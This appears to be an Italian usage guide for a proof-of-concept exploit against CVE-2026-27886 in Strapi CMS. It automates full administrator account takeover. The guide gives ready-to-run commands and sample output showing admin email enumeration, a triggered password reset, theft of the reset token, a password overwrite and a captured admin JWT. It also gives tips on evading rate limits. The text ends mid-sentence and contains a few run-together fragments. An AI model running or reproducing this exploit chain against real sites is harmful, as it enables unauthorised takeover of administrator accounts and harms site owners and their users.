
PoC completo di account takeover per CVE-2026-27886 in Strapi CMS
Automatizza l'intera catena di account takeover in 4 gruppi di richieste HTTP:
Verifica se il target è vulnerabile senza sfruttamento:
./cve-2026-27886-exploit.py https://target/api/articles --verify-only
Automatizza tutto se non conosci l'email dell'amministratore:
./cve-2026-27886-exploit.py https://target/api/articles
Output:
[+] Target: https://target/api/articles
[+] URL Base: https://target
[*] Verifica della vulnerabilità...
[+] Vulnerabile: baseline=12, where_test=0
[*] Enumerazione email amministratore...
[email protected]
[*] Attivazione reset password per [email protected]...
[+] Reset password attivato (HTTP 204)
[*] Estrazione token reset a 40 caratteri...
[100%] d1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a
[*] Reset password con token rubato...
[+] Reset password riuscito!
[+] JWT: eyJhbGciOiJIUzI1NiIs...
[+] Utente: [email protected] (ID: 1)
[+] SUCCESSO! Account amministratore compromesso.
[+] Token JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Se conosci già l'email dell'amministratore (risparmia ~500 richieste):
./cve-2026-27886-exploit.py https://target/api/articles \
--email [email protected]
Imposta una password personalizzata invece di quella predefinita:
./cve-2026-27886-exploit.py https://target/api/articles \
--email [email protected] \
--password "MyPassword123!"
Se il target ha limiti di frequenza:
./cve-2026-27886-exploit.py https://target/api/articles \
--delay 0.1
Questo aggiunge 100ms tra ogni richiesta (~2-3 minuti per lo sfruttamento completo).
Se gli endpoint /admin/* sono su un host diverso:
./cve-2026-27886-exploit.py https://api.target/articles \
--base-url https://admin.target
https://target/api/products, https://target/api/articles, ecc.updated_by_id)--delay 0.05 o superioreQuesto script: